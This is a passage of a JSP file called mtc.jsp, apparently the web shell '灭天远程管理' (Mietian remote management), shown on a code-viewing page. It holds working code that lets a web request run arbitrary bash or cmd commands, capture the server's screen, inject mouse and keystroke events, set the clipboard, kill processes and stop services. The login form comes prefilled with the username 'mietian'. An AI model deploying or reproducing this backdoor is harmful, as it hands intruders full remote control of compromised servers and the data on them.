📄 mtc.jsp
字号:
do
{
sb.append(line);
j =is.readLine(by,0,by.length);
line = new String(by, 0, j, ce);
} while(!line.startsWith(ct));
sb.setLength(sb.length() - 2);
if(name.equals("p"))
{
p=sb.toString();
}
}
}
is.close();
}else if(mt.equals("wins.screen"))
{
Robot r = new Robot();
BufferedImage bi = r.createScreenCapture(rect[Integer.parseInt(v)]);
//ByteArrayOutputStream os = new ByteArrayOutputStream();
OutputStream os=response.getOutputStream();
try
{
ImageIO.write(bi, "PNG", os);
}catch(Exception ex)
{}
//byte by[] = os.toByteArray();
os.close();
return;
}else if(mt.equals("wins.event"))
{
Robot r = new Robot();
String event=request.getParameter("e");
if (event.startsWith("mouse"))
{
int x = Integer.parseInt(request.getParameter("x"));
int y = Integer.parseInt(request.getParameter("y"));
int b = Integer.parseInt(request.getParameter("b"));//16:左,8:中,4:右
switch(b)
{
case 0:
b=16;
break;
case 1:
b=8;
break;
case 2:
b=4;
break;
}
r.mouseMove(x, y);
if (event.equals("onmouseclick"))
{
r.mousePress(b);
r.mouseRelease(b);
} else
if ("onmousedblclick".equals(event))
{
r.mousePress(KeyEvent.BUTTON1_MASK);
r.mouseRelease(KeyEvent.BUTTON1_MASK);
r.mousePress(KeyEvent.BUTTON1_MASK);
r.mouseRelease(KeyEvent.BUTTON1_MASK);
} else
if (event.equals("mousedown"))
{
r.mousePress(b);
} else
if (event.equals("mouseup"))
{
r.mousePress(b);
r.mouseRelease(b);
}
} else if (event.startsWith("key"))
{
int k = Integer.parseInt(request.getParameter("k"));
if (k > 218 && k < 222) //[:219-91, \:220-92, ]:221-93
{
k = k - 128;
} else if (k > 187 && k < 192) //,:188-44, .:190-46, /:191-47
{
k = k - 144;
} else
{
switch (k)
{
case 45: //insert
k = 155;
break;
case 46:
k = 127;
break;
case 91: //win
case 92:
k = 524;
break;
case 93: //右键
k = 525;
break;
// case 37://left
// k=226;
// break;
// case 38://up
// k=224;
// break;
// case 39://right
// k=227;
// break;
// case 40://down
// k=225;
// break;
case 13:
k = 10;
break;
}
}
if (event.equals("keydown"))
{
r.keyPress(k);
} else if (event.equals("keypress"))
{
r.keyPress(k);
} else if (event.equals("keyup"))
{
r.keyRelease(k);
}
}
return;
}else if(mt.equals("wins.cb"))
{
Clipboard cb=Toolkit.getDefaultToolkit().getSystemClipboard();
cb.setContents(new StringSelection(v),null);
out.print("<script>window.close();</script>");
return;
}else if(mt.equals("task.kill"))
{
for(int i=0;i<ps.length;i++)
{
exec((isLinux ? "kill -9 " : "tskill ") + ps[i], null);
}//ntsd -c q -p PID
}else if(mt.equals("serv.start")||mt.equals("serv.stop")||mt.equals("serv.restart"))
{
StringBuffer js=new StringBuffer();
String cmd=mt.substring(5);
for(int i=0;i<ps.length;i++)
{
if(isLinux)
{
ps[i]="/etc/init.d/"+ps[i]+" "+cmd;
}else if(cmd.equals("restart"))
{
ps[i]="cmd /c net stop "+ps[i]+" & net start "+ps[i];
}else
{
ps[i]="net "+cmd+" "+ps[i];
}
String str=exec(ps[i], null);
js.append(str);
}
//out.print("<script>alert(\""+js.toString()+"\");</script>");
//return;
}else if(mt.equals("serv.restart"))
{
for(int i=0;i<ps.length;i++)
{
String str= exec(isLinux ? "/etc/init.d/ "+ps[i]+" restart" : "net stop "+ps[i]+" & net start "+ps[i], null);
out.print("<script>alert('"+str+"');</script>");
}
return;
}else if(mt.equals("term.cmd"))
{
String txt=(String)session.getAttribute("txt");
Process pro=(Process)session.getAttribute("cmd");
if(pro==null)
{
pro=Runtime.getRuntime().exec(isLinux?"bash":"cmd",null,f);
session.setAttribute("cmd",pro);
txt="";
}
if(v!=null)
{
v=v+"\r\n";
OutputStream os=pro.getOutputStream();
if(isLinux)
{
v="pwd>mtc.txt\n"+v.substring(0,v.length()-2)+">>/mtc.txt\n";
}
String quc=v.trim().toLowerCase();
if(quc.equals("restart"))
{
os.write(v.getBytes());
}else if(quc.equals("env"))
{
txt=txt+"<table>";
Properties sps=System.getProperties();
Enumeration e=sps.keys();
while(e.hasMoreElements())
{
String name=(String)e.nextElement();
String value=(String)sps.get(name);
txt=txt+"<tr><td>"+name+"<td>"+value;
}
txt=txt+"</table>";
}else
{
os.write(v.getBytes());
if(quc.equals("exit"))
{
session.removeAttribute("cmd");
}
}
os.flush();
if(quc.startsWith("net stop tomcat"))
{
if(!"SYSTEM".equals(System.getProperty("user.name")))//如果不是服务
{
String cmd="tskill "+quc.split(" ")[2]+"\r\n";
os.write(cmd.getBytes());
os.flush();
System.exit(0);
}
}
Thread.sleep(500L);
}
if(v!=null||(txt.length()==0&&!isLinux))
{
InputStream is=pro.getInputStream();
if(isLinux)
{
is=new FileInputStream("/mtc.txt");
txt=txt+"\n"+v;
}
for(int i=0;i<10||is.available()>0;i++)
{
if(i==9)is=pro.getErrorStream();
if(is.available()==0)
{
Thread.sleep(500L);
}else
{
i=0;
byte by[]=new byte[is.available()];
is.read(by);
String str=new String(by).replaceAll("<","<");
//cls
int cls=str.lastIndexOf("\f");
txt=cls==-1?txt+str:str.substring(cls+1);
}
}
session.setAttribute("txt",txt);
}
out.print("<pre>"+txt+"</pre>");
}
if(!mt.equals("term.cmd"))
{
response.sendRedirect(request.getRequestURI()+"?mt="+mt.substring(0,4)+"&p="+URLEncoder.encode(p,"UTF-8"));
return;
}
}
String mt4=mt.substring(0,4);
%>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><%=p%> 灭天远程管理</title>
<style type="text/css">
body
{
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
}
body,td,th
{
font-size: 12px;
}
img
{
border: 0;
vertical-align:middle;
}
table
{
width:100%;
border:1px solid #bbd7e6;
}
th
{
border-bottom:1px solid #bbd7e6;
background-color:#E1ECFE;
}
.I
{
width:16px;
height:16px;
}
.H
{
filter:alpha(opacity=50)
}
.t<%=oby%>
{
background:#F7F7F7;
}
.t2
{
text-align:right;
}
</style>
<script type="text/javascript">
function f(v)
{
form1.mt.value=v;
}
function s(b)
{
form1.ps.checked=b;
for(var i=0;i<form1.ps.length;i++)
{
form1.ps[i].checked=b;
}
}
function d(mt,dv)
{
var t;
switch(mt)
{
case "file.ren":
t="请输入新的名字";
dv="这里输入新名子";
break;
case "file.mkdir":
t="新建文件夹";
dv="新建文件夹";
break;
case "file.del":
t="确认删除?";
break;
case "file.upload":
form1.encoding="multipart/form-data";
form1.action="?mt="+mt;
break;
case "term.cmd":
form1.cmd.disabled=true;
break;
default:
form1.method="get";
}
if(t)
{
dv=dv?prompt(t,dv):confirm(t);
if(!dv) return false;
}
form1.v.value=dv;
form1.mt.value=mt;
form1.submit();
}
function c()
{
var ps=document.form1.ps;
if(ps)
{
var flag=ps.checked;
for(var i=0;i<ps.length;i++)
{
if(ps[i].checked)
{
flag=true;
break;
}
}
var ids=new Array("cut","copy","del","ren","unzip","zip","down","kill","start","stop","restart");
for(var i=0;i<ids.length;i++)
{
var obj=document.getElementById(ids[i]);
if(obj)obj.disabled=!flag;
}
}
}
setInterval(c,100);
//排序
function o(field)
{
var url=location.search.substring(1);
window.open("?oby="+field+"&"+url,"_self");
}
//
var down=false;
function fevent(event)
{
if(!event)event=window.event;
if(event.type=="mousedown")
{
down=true;
// try
// {
// this.setCapture();
// }catch(e)
// {
// document.addEventListener("mousemove",fevent,true);
// }
}else if(event.type=="mouseup")
{
down=false;
// try
// {
// this.releaseCapture();
// }catch(e)
// {
// document.removeEventListener("mousemove",fevent,true);
// }
}
if(down||event.type!="mousemove")
{
var button=event.button;
if(document.all)
{
switch(button)
{
case 1:
button=0;
break;
case 4:
button=1;
break;
case 3:
return;
}
}
var x=event.clientX+document.body.scrollLeft;
var y=event.clientY+document.body.scrollTop-20;
ifr.src=ifr.location=('?mt=wins.event&x='+x+'&y='+y+'&k='+(event.keyCode||event.which)+'&b='+button+'&e='+event.type);
}
//document.getElementById('xy').value=(event.keyCode||event.which);
try
{
event.keyCode=0;
event.returnValue=false;
}catch(e)
{
return false;
}
}
</script>
</head>
<body>
<form name="form1" action="?" enctype="application/x-www-form-urlencoded" method="post">
<input type="hidden" name="mt" value="<%=mt%>"/>
<input type="hidden" name="v" value=""/>
<%
if(user==null)
{
%>
<br>
<h2>灭天远程管理</h2>
<table align="center" style='width:600px'>
<tr>
<td align="right">用户名:</td>
<td><input type="text" name="user" value="mietian" /></td>
</tr>
<tr>
<td align="right">密码:</td>
<td><input type="password" name="pwd" /></td>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -